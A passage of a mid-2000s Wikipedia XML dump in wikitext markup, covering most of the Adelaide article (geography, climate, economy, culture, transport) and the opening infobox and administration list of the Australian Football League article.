The South Australian Government in this period built on former wartime manufacturing industries. International manufacturers like General Motors [[Holden]] and Chrysler make use of these factories around Adelaide completing its transformation from an agricultural service centre to a twentieth century city. A pipeline from [[Mannum, South Australia|Mannum]] brought [[River Murray]] water to Adelaide in 1954 and an [[airport]] opened at [[West Beach, South Australia|West Beach]] in 1955. An assisted migration scheme brought 215,000 immigrants of all nationalities to South Australia between 1947 and 1973. The Dunstan Government in the 1970s saw something of an Adelaide 'cultural revival' - establishing a wide array of social reforms and overseeing the city becoming a centre of the arts. Adelaide hosted the [[Australian Grand Prix]] between 1985 and 1996 on a street circuit in the city's east parklands, before losing it in a controversial move to [[Melbourne]]. The 1992 [[State Bank of South Australia|State Bank]] collapse plunged both Adelaide and South Australia into economic recession, and its effects can still be felt today. Recent years have seen the [[Clipsal 500]] [[V8 Supercar]] race make use of the former Formula One circuit and renewed economic confidence under the [[Mike Rann|Rann]] Government.

==Geography==
[[Image:Satellite_image_of_Adelaide_South_Australia.jpg|right|frame|Satellite image of Adelaide]]
Adelaide is located north of the [[Fleurieu Peninsula]], on the Adelaide plains between the [[Gulf Saint Vincent|Gulf St Vincent]] and the low lying [[Mount Lofty Ranges]]. The city stretches from the town of [[Gawler, South Australia|Gawler]] at its most northern, to [[Aldinga, South Australia|Aldinga]] in the south. According to the [[Australian Bureau of Statistics]], the Adelaide Metropolitan Region has a total land area of 870 km², which is at an average elevation of 50 metres above sea level. [[Mount Lofty]] is located east of the Adelaide metropolitan region in the [[Adelaide Hills]] at an elevation of 727 metres. It is the tallest point in its [[Mount Lofty Ranges|namesake]] range.

Much of Adelaide was originally bushland before European settlement, with some variation - swamps and marshlands were prevalent around the coast. However, much of the original vegetation has been cleared with the remainder remaining in reserves such as the [[Adelaide Parklands]], [[Cleland Conservation Park]] and [[Belair National Park]]. A number of creeks and rivers flow through the Adelaide region. The largest are the [[River Torrens|Torrens]] and [[Onkaparinga River National Park|Onkaparinga]] catchments. Adelaide  relies on its many reservoirs for water supply, with [[Mount Bold Reservoir]] and [[Happy Valley Reservoir]] together supplying around 50% of Adelaide's requirements.

===Climate===
{{Main|Climate of Adelaide}}
Adelaide has a [[Mediterranean climate]], where most of the rain falls in the winter months. Of the Australian capital cities, Adelaide is the driest. Rainfall is unreliable, light and infrequent throughout summer. In contrast, the winter has fairly reliable rainfall with June being the wettest month of the year, averaging around 80 mm. [[Frost]]s are rare, with the most notable occurrences having occurred in July 1908 and July 1982.  There is usually no appreciable [[snow|snowfall]], except at [[Mount Lofty]] and some places in the [[Adelaide Hills]].  

{| class=&quot;wikitable&quot; style=&quot;width: 75%; margin: 0 auto 0 auto;&quot;
|+ '''Climate Table'''
|- 
! 
! Jan
! Feb
! Mar
! Apr
! May
! Jun
! Jul
! Aug
! Sep
! Oct
! Nov
! Dec
!Year
|-
! Mean daily maximum temperature ([[Celsius|°C]])
|28.8   
|29.4   
|26.1   
|22.4   
|18.9   
|16.1   
|15.3   
|16.5   
|18.8   
|21.5   
|24.8   
|26.8    
|22.1       
|-
! Mean daily minimum temperature ([[Celsius|°C]])
|16.8   
|17.2   
|15.0   
|12.2   
|10.1    
|8.2    
|7.4    
|8.2    
|9.6   
|11.3   
|13.8   
|15.5    
|12.1     
|-
! Mean total rainfall ([[Millimetre|mm]])
|19.2   
|13.7   
|26.2   
|38.7   
|62.6   
|83.1   
|77.8   
|68.1   
|63.6   
|48.5   
|29.6   
|26.8   
|558.1
|-
! Mean number of rain days
|4.3    
|3.4    
|5.7    
|7.9   
|12.3   
|15.4   
|16.2   
|16.4   
|13.2   
|10.8    
|8.1    
|6.7   
|120.5
|- 
| colspan=&quot;15&quot; style=&quot;text-align: center;&quot; | &lt;small&gt;'''Source:''' [http://www.bom.gov.au/climate/averages/tables/cw_023090.shtml Bureau of Meteorology]&lt;/small&gt;
|}

===Urban Layout===
{{Main|Light's Vision}}
[[Image:Karte_Adelaide_MKL1888.png|thumb|136px|right|1888 Map of Adelaide, showing the gradual development of its urban layout]]
Adelaide is a planned city, designed by the first surveyor-general of South Australia, Colonel [[William Light]]. His plan, now known as '''Light's Vision''', arranged Adelaide in a grid, with five squares in the inner City of Adelaide and a ring of parks known as the [[Adelaide Parklands]] surrounding it. Light's design was initially unpopular with the early settlers, as well as South Australia's first Governor, [[John Hindmarsh]]. Light persisted with his design against this initial opposition. The benefits of Light's design are numerous; Adelaide has had wide multi-lane roads from its beginning, an easily-navigable grid layout and a beautiful green ring around the city center. There are two sets of 'ring roads' in Adelaide that have resulted from the original design. The inner ring route borders the parklands and the outer route completely bypasses the inner city through (in clockwise order) [[Grand Junction Road]], Hampstead Road, Ascot Avenue, [[Portrush Road]], Cross Road and [[South Road, Adelaide|South Road]]. {{ref|ringroute}}

The inevitable urban expansion has to some extent outgrown Light's original plan. Numerous satellite cities were built in the latter half of the 20th century notably [[Salisbury, South Australia|Salisbury]] and [[Elizabeth, South Australia|Elizabeth]] on the city's northern fringes, which have now been enveloped by its [[urban sprawl]]. New developments in the [[Adelaide Hills]] region facilitated the construction of the [[South Eastern Freeway]] to cope with growth. Similarly, the booming development in Adelaide's [[City of Onkaparinga|South]] made the construction of the [[Southern Expressway]] a necessity. New roads have not only been used to cope with the urban growth, however - the [[Adelaide O-Bahn]] is an example of a unique solution to [[Tea Tree Gully, South Australia|Tea Tree Gully's]] transport woes in the 1980's.{{ref|ozroads}} The development of the nearby suburb of [[Golden Grove, South Australia|Golden Grove]] in the late [[1980s]] is possibly an example of well-though-out urban planning. The newer urban areas as a whole, however, are not as integrated into the urban layout as much as older areas, and therefore place more stress on Adelaide's transportation system - although not on a level comparable with [[Melbourne]] or [[Sydney]].

[[Image:Adel panorama.jpg|thumb|center|598px|&lt;div style=text-align:&quot;right&quot;&gt;Panoramic view over the [[Adelaide Parklands]] of the ''Square Mile'' (central business district) from [[Montefiore Hill]] in [[North Adelaide]]. The historic [[Adelaide Oval]] is visible in the centre foreground.&lt;/div&gt;]]

==Governance==
{{Main|Government of South Australia}}
[[Image:Adelaide_parliament_house.JPG|right|thumb|280px|[[Parliament House, Adelaide]] on [[North Terrace, Adelaide|North Terrace]] houses the [[Parliament of South Australia]].]]
The [[City of Adelaide]] is responsible only for the &quot;Square Mile&quot;, which is the [[central business district]] (CBD), [[North Adelaide]] and the surrounding [[Adelaide Parklands]]. It is the oldest [[municipal]] authority in Australia and was established in 1840, when Adelaide and Australia's first mayor, [[James Hurtle Fisher]], was elected. From 1919 onwards, the City has had a [[List of Mayors and Lord Mayors of Adelaide|Lord Mayor]], the current being Lord Mayor [[Michael Harbison]]. The City of Adelaide has a population of approximately 18,000 people in an area of 15.57 km². The population of the [[inner city]] has dwindled from its peak of about 250,000 as the metropolitan area has expanded. The entire metropolitan region, including the city proper, has a population of 1,080,990 people (2001 census) in an area of 870km², and is divided into 18 autonomous [[local government areas]]. However, as South Australia's capital and most populous city, the State Government co-operates extensively with the City of Adelaide - a relationship manifest in the Capital City Committee {{ref|capcity}}, which is primarily concerned with the planning of Adelaide's urban development and growth.

==Demographics==
[[Image:Rundle Mall.JPG|right|thumb|280px|Rundle Mall- Adelaide's main shopping street]]
[[Image:Adelaide City Torrens.JPG|right|thumb|280px|Adelaide skyline from the [[River Torrens]]]]
As of [[June 2004]], Adelaide had a metropolitan population of more than 1,124,315, making it Australia's fifth largest city. In the 2002-2003 period the population grew by 0.6%, while the national average was 1.2%. Some 70.3% of the population of South Australia is resident within the metropolitan area, making South Australia one of the most centralised states. Major areas of population growth in recent years were in outer suburbs such as [[Mawson Lakes, South Australia|Mawson Lakes]] and [[Golden Grove, South Australia|Golden Grove]]. Adelaide's inhabitants occupy 325,000 houses, 57,000 detached, row terrace or town houses and 49,000 flats, apartments and caravans.

Major areas of population growth in recent years were in outer suburbs such as [[Mawson Lakes, South Australia|Mawson Lakes]] and [[Golden Grove, South Australia|Golden Grove]].   Overseas born Adelaideans composed 24.6% (242, 092) of the total population. The North-Eastern Suburbs (such as Golden Grove and [[Salisbury, South Australia|Salisbury]]) and suburbs close to the CBD had a higher ratio of overseas born residents. Wealthier and more well-educated Adelaideans are concentrated on the coastal suburbs (such as [[Brighton, South Australia|Brighton]] and [[Hallett Cove, South Australia|Hallett Cove]]) and South-Eastern suburbs (such as [[Burnside, South Australia|Burnside]] and [[Waterfall Gully, South Australia|Waterfall Gully]]). Almost a fifth (17.9%) of the population had university qualifications. The number of Adelaideans with vocational qualifications (such as tradespersons) fell from 62.1% of the labour force in the 1991 census to 52.4% in the 2001 census.

Overall, Adelaide is ageing much more rapidly than other Australian capital cities. Just under a quarter (24.1%) of Adelaide's population is aged 55 years or older, in comparison to the national average of 19.9%. To further compound the situation, Adelaide has the lowest number of children (under-15 year olds), which composed 18.7% of the population, compared to the national average of 20.4%. In regards to three highest ancestries, 38% of the population identified themselves as [[English people|English]], 34% as Australian (which is most likely primarily of [[Anglo-Celtic]] background) and 8.4% as [[Irish people|Irish]]. The three most-spoken languages other than [[Australian English|English]] were: 3.5% for [[Italian Language|Italian]], 2.3% for [[Greek Language|Greek]] and 1.2% for [[Vietnamese Language|Vietnamese]]. {{ref|adelabsstats}}

==Economy==
Adelaide's economy is primarily based around manufacturing, defence technology and research, commodity export and corresponding service industries. It has large [[manufacturing]], [[Defense (military)|defence]] and [[research]] [[Zoning|zones]]. They contain car manufacturing plants for [[Holden|General Motors Holden]] and [[Mitsubishi Motors Corporation|Mitsubishi]], and plants for medical equipment and [[electronic component]] production. Almost half of all cars produced in Australia are made in Adelaide.{{ref|carmanufacture}} The global media conglomerate [[News Corporation]] was founded in and until 2004 incorporated in Adelaide and is still considered its 'spiritual' home by [[Rupert Murdoch]]. Australia's largest oil company, [[Santos Limited|Santos]] (South Australia Northern Territory Oil Search) and the prominent South Australian brewery, [[Coopers Brewery|Coopers]] calls Adelaide their home. The collapse of the [[State Bank of South Australia|State Bank]] in 1992 resulted in large levels of state [[Public debt|debt]] (as much as A$4 billion). The collapse had meant that successive governments had enacted lean budgets, cutting [[Public finance|spending]], which had been a setback to the further [[Economic development|development]] of the city and state. The debt has recently been reduced with the State Government once again receiving a AAA+ Credit Rating.{{ref|creditrating}} The South Australian economy (very closely tied to Adelaide's) still enjoys a trade surplus and has higher per capita growth than Australia as a whole. {{ref|growth}}
[[Image:HMAS Rankin SSK-78.jpg|left|thumb|280px|The Adelaide-built [[Collins class submarine|Collins Class]] submarine HMAS Rankin]]
Adelaide is home to a large proportion of Australia's defence industries which contribute over AUD$1 billion to South Australia's Gross State Product. 70% of Australian defence companies are located in Adelaide. The principal government military research institution, the [[Defence Science and Technology Organisation]], and other defence technology organisations such as [[Tenix Defence Systems|Tenix]] are located in [[Salisbury, South Australia|Salisbury]] near [[RAAF Base Edinburgh]] and others near [[Technology Park, Adelaide|Technology Park]]. The [[Australian Submarine Corporation]], based in the industrial suburb of [[Osborne, South Australia|Osborne]] was charged with constructing Australia's [[Collins class submarine|Collins Class]] [[Submarines]] and recently won a AUD$6 billion contract to construct the [[Royal Australian Navy|Royal Australian Navy's]] new air-warfare destroyers. {{ref|defencestate}}

There are 466 829 employed people in Adelaide, with 62.3% employed full-time and 35.1% employed part-time. In recent years there has been a growing trend towards part-time (which includes casual) employment, increasing from only 11.6% of the workplace in 1991, to over a third today. 15% of workers are employed in manufacturing, 5% in construction, 15% in retail trade, 11% in business services, 7% in education and 12% in health and community services. The median weekly individual income for people aged 15 years and over is $300-$399 per week. The median family income is $800-$999 per week.{{ref|adelabsstats}} Adelaide's housing and living costs are substantially lower than that of other Australian cities, with housing being notably cheaper. The median Adelaide house price is half that of [[Sydney]] and two-thirds that of [[Melbourne]]. The unemployment rate (as of October 2005) was 4.8%. {{ref|livingcost}}

==Education==
:''Main article: [[South Australia#Education|Education in South Australia]]''
[[Image:Art Gallery of South Australia.JPG|280px|right|thumb|Art Gallery of South Australia]]
Adelaide is home to campuses of all three of South Australia's universities. The [[University of Adelaide]] is a member of the [[Group of Eight (Australian universities)|Group of Eight]] and was founded in 1874, making it the third oldest university in Australia. It has five campuses in the Adelaide area; one being its primary campus on [[North Terrace, Adelaide|North Terrace]] and another being the [[National Wine Centre of Australia|National Wine Centre]]. The [[University of South Australia]] was formed in 1991 from a merger between the South Australian Institute of Technology and the South Australian Colleges of Advanced Education. Four of its six campuses are located in Adelaide, with two in the CBD itself. [[Flinders University]], located in [[Bedford Park, South Australia|Bedford Park]] is named after British navigator and explorer [[Matthew Flinders]] and was founded in 1966. It is a mid-sized institution with a medical school at the adjacent [[Flinders Medical Centre]]. Leading US private university, [[Carnegie Mellon University|Carnegie Mellon]], is to establish two Adelaide campuses offering both Australian and US [[Academic degree|degrees]] in 2006. The Heinz School will specialise in [[Information technology|IT]] and government management and be based in [[Victoria Square, Adelaide|Victoria Square]], while another campus at [[Light Square, Adelaide|Light Square]] will specialise in new media and entertainment . These institutions attract students from across Australia and around the world, earning Adelaide’s international recognition as a [http://www.adelaide.sa.gov.au/council/publications/Brochures/IAEC_Adelaide_brochure_web.pdf &amp;#8216;City of Education&amp;#8217;].

School education in Adelaide is provided by a variety of public and private schools, which are the responsibility of the State Government. These schools operate under the [[South Australian Certificate of Education]] (SACE), with [[International Baccalaureate]]s (IB) offered at many as well. The [[Tertiary education|Tertiary Education]] system in Adelaide is extensive, with five out of eight centres of [[TAFE South Australia]] in the city itself, including the Douglas Mawson institute of Technology. They specialise in non-university higher education offering a viable alternative.

==Culture==
[[Image:Adel Convention Centre.jpg|280px|right|thumb|Adelaide Convention Centre, situated next to the [[River Torrens]].]]
[[Image:St Peters Cathedral.JPG|280px|right|thumb|St. Peters Cathedral, Adelaide]]

Adelaide is sometimes referred to as the 'City of Churches', although this is a reflection more on Adelaide's past than its present. Rumour has it that for every church that was built in Adelaide, a [[public house|pub]] was also built to serve the less pious. From its earliest, Adelaide attracted [[immigrant|immigrants]] from many countries, particularly German migrants escaping religious persecution. They brought with them the [[vine]] cuttings that founded the acclaimed wineries of the [[Barossa Valley]]. After the [[World War II|Second World War]] Italians, Greeks, Dutch, Polish, and possibly every other European nationality came to make a new start. An influx of Asian immigrants following the Vietnam War added to the mix. These new arrivals have blended to form a rich and diverse cuisine and vibrant restaurant culture.

Adelaide's [[The Arts|arts]] scene flourished in the 1970's under the leadership of premier [[Don Dunstan]], removing some of the more [[puritan|puritanical]] restrictions on cultural activities then prevalent around Australia.  Now the city is home to events such as the Barossa Music Festival, the [[Adelaide Festival of Arts]], [[Adelaide Film Festival]], [[Adelaide Festival of Ideas]], [[Come Out]] youth arts festival, the [[Adelaide Fringe Festival|Fringe Festival]], among others. [[WOMADelaide]], Australia's premier [[world music]] event, is now annually held in the scenic surrounds of [[Adelaide Botanic Gardens|Botanic Park]], emphasising Adelaide's dedication to the arts which has prevailed since the days of Don Dunstan.

The annual [[Royal Adelaide Show]], first held in 1840, began as a simple event for the state's farmers to show off their produce. Over time, it grew into a more general commercial [[fair]] held in early September in the inner suburb of [[Wayville, South Australia|Wayville]], with [[amusement ride|carnival ride]]s, food and entertainment surrounding the more traditional agricultural exhibitions and competitions.

The [[music of Adelaide]] has produced various musicians who have achieved both national and worldwide fame. Notably the [[Adelaide Symphony Orchestra]], the [[Adelaide Youth Orchestra]], [[The Mark of Cain]], [[The Superjesus]], [[Testeagles]], [[Cold Chisel]] and [[Eric Bogle]]. American artist [[Ben Folds]] considers Adelaide his second home, epitomised in his song &quot;Adelaide&quot; and resides here with his Adelaide-born wife for a number of months each year. The first [[Australian Idol]] winner, [[Guy Sebastian]] hails from the Adelaide suburb of [[Golden Grove, South Australia|Golden Grove]] and the popular Australian hip-hop outfit [[Hilltop Hoods]] reside in [[O'Halloran Hill, South Australia|O'Halloran Hill]].

===Media===
Newspapers in Adelaide are dominated by [[News Corp]] tabloid publications. The only South Australian daily newspaper is ''[[The Advertiser (Australia)|The Advertiser]]'', published by News six days per week, while the Sunday paper is the ''[[Sunday Mail (Adelaide)|Sunday Mail]]''. There are eleven suburban community newspapers published weekly, known collectively as the ''[[Messenger Newspapers]]'', also published by a subsidiary of News Corp. A recent addition to the print medium in the city is &quot;[[The Independent Weekly]]&quot;, providing one alternative view. Two national daily newspapers are circulated in the city - ''[[The Australian]]'' (Monday&amp;ndash;Friday) and its weekend publication, ''The Weekend Australian'' (Saturday), also published by News Corp., and ''[[The Australian Financial Review]]'' published by [[John Fairfax Holdings|Fairfax]]. ''[[The Adelaide Review]]''  is a free paper published fortnightly and other independent magazine-style papers are published, but are not as widely available.

All of the five Australian national networks broadcast both [[Analog television|analogue]] [[PAL]] and [[widescreen]] [[Digital television|digital]] services in Adelaide. They share three transmission towers on the ridge near the summit of [[Mount Lofty]]. The two government-funded stations are ''[[Australian Broadcasting Corporation|ABC]]'' and ''[[Special Broadcasting Service|SBS]]''. The ''[[Seven Network]]'' and ''[[Network Ten]]'' both own their Adelaide stations ([[SAS-7]] and [[ADS-10]] respectively). Adelaide's [[NWS-9]] is affiliated with the ''[[Nine Network]]'' but is actually owned by [[Southern Cross Broadcasting]]. Adelaide also has a [[community television]] station, [[Channel 31]]. The [[Foxtel]] [[pay TV]] service is available as [[cable television]] in a few areas, as is [[satellite television]] to the entire metropolitan area. It is resold by a number of other brands, mostly telephone companies.

===Sport===
[[Image:Clipsal 500.jpg|280px|right|thumb|The annual Adelaide [[Clipsal 500]] race.]]
Adelaide hosted the [[Formula 1]] [[Australian Grand Prix]] from 1985 to 1995 on a [[Adelaide Street Circuit|street circuit]] in the city's eastern parklands. The Grand Prix became a source of pride and losing the Grand Prix to Melbourne in a surprise announcement left a void that has since been filled with the highly successful [[Adelaide 500|Clipsal 500]] [[V8 Supercar]] race event, held on a modified version of the same street circuit. 

Adelaide is the home of two [[Australian Football League]] teams: the [[Adelaide Crows]] and the [[Port Adelaide Football Club|Port Adelaide Football Club]]. A local [[Australian Rules Football]] league, the [[South Australian National Football League|SANFL]], is made up of nine teams from around Adelaide. Adelaide's professional [[football (soccer)|soccer]] team [[Adelaide United]] play in the [[A-League]], at [[Hindmarsh Stadium]], one of the few purpose built football stadiums in Australia. The [[Adelaide 36ers]] and the [[Adelaide_Fellas | Adelaide Fellas]] play in national basketball competitions, with home games at the Distinctive Homes Dome and the [[Adelaide Thunderbirds]] play in the national netball competition, with home games at [[ETSA Park]]. Most large sporting events take place at either [[AAMI Stadium]] (formerly Football Park) or the historic [[Adelaide Oval]], home of the [[Southern Redbacks]] Cricket Team. Adelaide hosts an international cricket test every summer, along with a number of [[one day international]] cricket matches. 

Adelaide has hosted the annual [[Tour Down Under]] bicycle race since 1999, an event which has gradually built an international reputation with each successive year it has been held. It is also host to the popular [[Bay to Birdwood]] run, featuring vintage and veteran cars from around the world.

==Infrastructure==
===Health===
Adelaide's first hospital was the [[Royal Adelaide Hospital]] (RAH), founded in [[1840]], it is one of the major hospitals in Adelaide and is a [[teaching hospital]] of the [[University of Adelaide]]. It has a capacity of 500 beds. Two other RAH campuses specialising in specific patient services located in the suburbs of Adelaide - the Hampstead Rehabilitation Centre in [[Northfield, South Australia|Northfield]], and the [[Glenside, South Australia|Glenside]] Campus Mental Health Service. The other two largest hospitals in the Adelaide area are the [[Women's and Children's Hospital, Adelaide|The Women's and Children's Hospital]] (305 beds), which is located on King William Road in [[North Adelaide]] and the Flinders Medical Centre (500 beds), which is located in [[Bedford Park, South Australia|Bedford Park]], [[South Australia]]. These hospitals are also associated with medical schools - the Women and Children's with the [[University of South Australia]]'s Adelaide Campus and the Flinders Medical Centre with [[Flinders University]].

===Transport===
{{Main|Transport in Adelaide}}
[[Image:Mountosmondinterechange_sefreeway.JPG|right|280px|thumb|The [[Mount Osmond, South Australia|Mount Osmond]] Interchange on the [[South Eastern Freeway]].]]
Being centrally located on the Australian mainland, Adelaide forms something of a strategic transport hub for east-west and north-south routes. The city itself has a limited [[public transport]] system, which is managed by and known as the [[Adelaide Metro]]. The Adelaide Metro consists of a contracted bus system including the [[Adelaide O-Bahn]] (a [[guided busway]]), metropolitan railways, and the historic Adelaide-[[Glenelg Tram]]. Road transport in Adelaide has historically been comparatively easier than many of the other Australian cities, with a well-defined city layout and wide multiple-lane roads from the beginning of its development. Historically, Adelaide was known as a &quot;twenty-minute city&quot;, with commuters having being able to travel from metropolitan outskirts to the city proper in roughly twenty minutes. However, these roads are now inadequate to cope with Adelaide's growing road traffic. {{ref|20mincity}}

The [[Adelaide International Airport]], located at [[West Beach, South Australia|West Beach]], is Australia's newest and most advanced airport terminal and is designed to serve in excess of 5.4 million passengers annually. The new dual international/domestic terminal was to replace the old and ageing terminals known locally as the 'tin sheds', and incorporates new state-of-the-art features, such as glass aerobridges and the ability to cater for the new Airbus A380. The airport is designed to handle 27 aircraft simultaneously and it is capable of processing 3,000 passengers per hour.

===Utilities===
Adelaide has three major energy companies, which provide gas and electricity to the population. ETSA Utilities is the former government-owned company (sold off by the [[John Olsen|Olsen]] Government in the 1990s) and the major player in the Adelaide electicity market. There are other smaller providers, [[AGL]], [[Energy Australia]] and [[Origin Energy]] who provide services in electricity and natural gas. There has been substantial criticism in recent years of the suburban electricity network due to its inability to cope with high-usage periods. Adelaide derives its electricity from a coal-fired plant at [[Torrens Island, South Australia|Torrens Island]] and connections to the national grid. Adelaide's water supply is gained from its reservoirs: [[Mount Bold Reservoir|Mount Bold]], [[Happy Valley Reservoir|Happy Valley]], Myponga, Millbrook, Hope Valley, Little Para and South Para. Further water demands result in the pumping of water from the [[River Murray]]. The provider of water services is by the government-owned [[SA Water]].

==Notes and References==
&lt;div style=&quot;font-size: 90%&quot;&gt;
# {{note|cathuni}} ''Adelaide Council Naming Practices, courtesy Catholic University'' [http://online.cesanet.adl.catholic.edu.au/docushare/dsweb/GetRendition/Document-2903/html]
# {{note|placenames}} ''South Australian Place Names. courtesy Government of South Australia'' [http://www.placenames.sa.gov.au/pno/pnores.phtml?recno=SA0076000]
#{{note|ringroute}} ''Adelaide's Inner and Outer Ring Routes, courtesy South Australian Department of Transport'' [http://www.transport.sa.gov.au/transport_network/projects/better_roads/adelaides_inner_outer_ring_routes.asp]
#{{note|ozroads}} ''Adelaide's Freeways - A History from MATS to the Port River Expressway, courtesy Ozroads'' [http://www.ozroads.com.au/SA/freeways.htm]
#{{note|capcity}} ''Capital City Committee'' [http://www.capcity.adelaide.sa.gov.au/]
#{{note|adelabsstats}} ''Adelaide (Statistical Division), courtesy Australian Bureau of Statistics'' [http://www.abs.gov.au/ausstats/abs@census.nsf/ddc9b4f92657325cca256c3e000bdbaf/6663e40d8994aa22ca256bbf000144a3!OpenDocument]
#{{note|carmanufacture}} ''South Australia Fact Sheet: Automotive, courtesy Business South Australia'' [http://www.southaustralia.biz/fact_sheets/fact_automotive.biz.pdf] ''(.pdf)''
#{{note|creditrating}} ''South Australia's Credit Rating the Highest, courtesy Business South Australia'' [http://www.southaustralia.biz/news/sa_creditrating.htm]
#{{note|growth}} ''South Australia's Economic Performance Update, courtesy Business South Australia'' [http://www.southaustralia.biz/PDFs/economic_performance_update_dec05.pdf] ''(.pdf)''
#{{note|defencestate}} ''South Australia: The Defence Industry Choice, courtesy Defence SA'' [http://www.defence-sa.com/]
#{{note|livingcost}}  ''Adelaide Cost of Living, courtesy Business South Australia'' [http://factsheet.southaustralia.biz/public/content/default.asp?xcid=52]
#{{note|20mincity}} ''Metro Malcontent - The Twenty Minute City No More, courtesy RAA'' [http://www.raa.net/download.asp?file=documents\document_677.pdf] ''(.pdf)''
&lt;/div&gt;

==Sister cities==
Adelaide has several [[sister city|sister cities]]. They are:
{|
| valign=&quot;top&quot; |
*{{flagicon|USA}} - [[Austin, Texas]], [[United States]] - [[1983]]
*{{flagicon|New Zealand}} - [[Christchurch]], [[New Zealand]] - [[1972]]
| valign=&quot;top&quot; |
*{{flagicon|Malaysia}} - [[George Town, Penang|George Town]], [[Penang]]/[[Malaysia]] - [[1973]]
*{{flagicon|Japan}} - [[Himeji]], [[Japan]] - [[1982]]
|}

==See also==
*[[Tallest Buildings in Adelaide]]
*[[People of Adelaide]]
*[[List of Adelaide railway stations]]
*[[List of Adelaide suburbs]]
*[[List of churches in Adelaide]]
*[[List of sports clubs in Adelaide]]

==Further reading==
*Kathryn Gargett; Susan Marsden, ''Adelaide: A Brief History''. Adelaide: State History Centre, History Trust of South Australia in association with Adelaide City Council, 1952. ISBN 0730801160
*Derek Whitelock et al, ''Adelaide : a sense of difference''. Melbourne: Arcadia, 2000. ISBN 0875606571

==External links==
{{commonscat|Adelaide}}
{{sisterlinks|Adelaide}}
{{Mapit-AUS-suburbscale|long=138.601|lat=-34.929}}
*{{wikitravel}}
*[http://www.adelaidecitycouncil.com/ City of Adelaide]
*[http://www.sacentral.sa.gov.au/ SA Central]
**[http://www.sa.gov.au/site/page.cfm?u=57&amp;area=2&amp;path=4873,4913,4917&amp;listMode=listLinks City highlights]
**[http://www.sa.gov.au/site/page.cfm?u=57&amp;area=2&amp;path=4873,4913,4915&amp;listMode=listLinks Metropolitan highlights]
*[http://www.sensational-adelaide.com Sensational Adelaide]

&lt;br clear=&quot;all&quot;&gt;
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[[Category:Cities in South Australia]]
[[Category:Coastal cities in Australia]]

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    </revision>
  </page>
  <page>
    <title>Australian Football Leauge</title>
    <id>1149</id>
    <revision>
      <id>15899651</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Australian Football League]]
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  </page>
  <page>
    <title>Australian Football League</title>
    <id>1150</id>
    <revision>
      <id>41819899</id>
      <timestamp>2006-03-01T23:24:14Z</timestamp>
      <contributor>
        <username>Schmiteye</username>
        <id>523205</id>
      </contributor>
      <minor />
      <comment>/* Present */ fix redirect</comment>
      <text xml:space="preserve">{| class=&quot;infobox&quot; style=&quot;width: 25em; font-size: 95%;&quot;
|+ style=&quot;font-size: larger;&quot; | '''Australian Football League'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Australian Football League.svg|200px]]
|-
! colspan=&quot;2&quot; bgcolor=&quot;#b0c4de&quot; | '''General Information'''
|- style=&quot;vertical-align: top;&quot;
| '''Founded'''
| [[1989]], [[Melbourne, Australia|Melbourne]]
|-
| '''Previous Names'''
| [[VFL/AFL|Victorian Football League]] or [[VFL/AFL|VFL]] (1897-1988)
|-
| '''Current Clubs'''
| [[Adelaide Crows|Adelaide]]&lt;br&gt;[[Brisbane Lions]]&lt;br&gt;[[Carlton Football Club|Carlton]]&lt;br&gt;[[Collingwood Football Club|Collingwood]]&lt;br&gt;[[Essendon Football Club|Essendon]]&lt;br&gt;[[Fremantle Football Club|Fremantle]]&lt;br&gt;[[Geelong Football Club|Geelong]]&lt;br&gt;[[Hawthorn Football Club|Hawthorn]]&lt;br&gt;[[Kangaroos Football Club|Kangaroos]]&lt;br&gt;[[Melbourne Football Club|Melbourne]]&lt;br&gt;[[Port Adelaide Football Club|Port Adelaide]]&lt;br&gt;[[Richmond Football Club|Richmond]]&lt;br&gt;[[St Kilda Football Club|St Kilda]]&lt;br&gt;[[Sydney Swans|Sydney]]&lt;br&gt;[[West Coast Eagles|West Coast]]&lt;br&gt;[[Western Bulldogs]]
|- style=&quot;vertical-align: top;&quot;
| '''Defunct Clubs'''
| [[Fitzroy Football Club|Fitzroy]]&lt;br&gt; [[Melbourne University Football Club|University]]&lt;br&gt;
|-
| '''Stadiums'''
| [[Melbourne Cricket Ground]]&lt;br&gt;[[Telstra Stadium]]&lt;br&gt;[[Telstra Dome]] &lt;br&gt;[[AAMI Stadium]]&lt;br&gt;[[Sydney Cricket Ground]]&lt;br&gt;[[Subiaco Oval]]&lt;br&gt;[[Brisbane Cricket Ground|The Gabba]]&lt;br&gt;[[Skilled Stadium]]&lt;br&gt;[[Aurora Stadium]]&lt;br&gt;[[Manuka Oval]]&lt;br&gt;[[Marrara Oval]]&lt;br&gt;[[Carrara Stadium]]
|-
! colspan=&quot;2&quot; bgcolor=&quot;#b0c4de&quot; | '''2005 Season'''
|- style=&quot;vertical-align: top;&quot;
| '''Premiers'''
| '''[[Sydney Swans|Sydney]]''' 8.10 (58) defeated [[West Coast Eagles|West Coast]] 7.12 (54)
|-
| '''Minor Premiers'''
| [[Adelaide Crows|Adelaide]]
|-
| '''Wooden Spoon'''
| [[Carlton Blues|Carlton]]
|-
| '''NAB Cup/Wizard Cup Premiers'''
| [[Carlton Blues|Carlton]]
|-
| '''Brownlow Medalist'''
| [[Ben Cousins]]
|-
| '''Coleman Medalist'''
| [[Fraser Gehrig]]
|-
| '''Total Attendance'''
| 6,283,788
|-
| '''Average Match Attendance'''
| 35,703
|-
|- style=&quot;vertical-align: top;&quot;
|}


''This is a page about the national league in Australian Rules Football. For information about the rules and history of the game see the [[Australian Rules Football]] page.''

The '''Australian Football League''' is the national competition in [[Australian Rules Football]].  It was formed through the expansion of the [[Victorian Football League]], during the 1980s and 1990s. In 2005 it had a total regular season attendance of 6,283,788, and the average attendance of 35,703 was the [[sports league attendances|third highest]] of any professional sports league in the world.

==Administration==

===AFL===

*'''CEO''': [[Andrew Demetriou]]
*'''General Manager- Broadcasting, Strategy &amp; Major Projects''': [[Ben Buckley]]
*'''General Manager- Football Operations''': [[Adrian Anderson]]

===[[AFL Players' Association]]===
*'''President''': [[Peter F. Bell|Peter Bell]]
*'''Vice President''': [[Nathan Buckley]]
*'''CEO''': [[Brendon Gale]]

===AFL Tribunal===

====AFL Tribunal====
*'''Chairman''': David Jones (replacing [[Brian Collins]])
*'''Members''':&lt;br&gt;John Hassett&lt;br&gt;Will Houghton QC&lt;br&gt;Andrew Tinney&lt;br&gt;Emmett Dunne&lt;br&gt;[[Michael Sexton]]&lt;br&gt;[[Wayne Schimmelbusch]]&lt;br&gt;Richard Loveridge

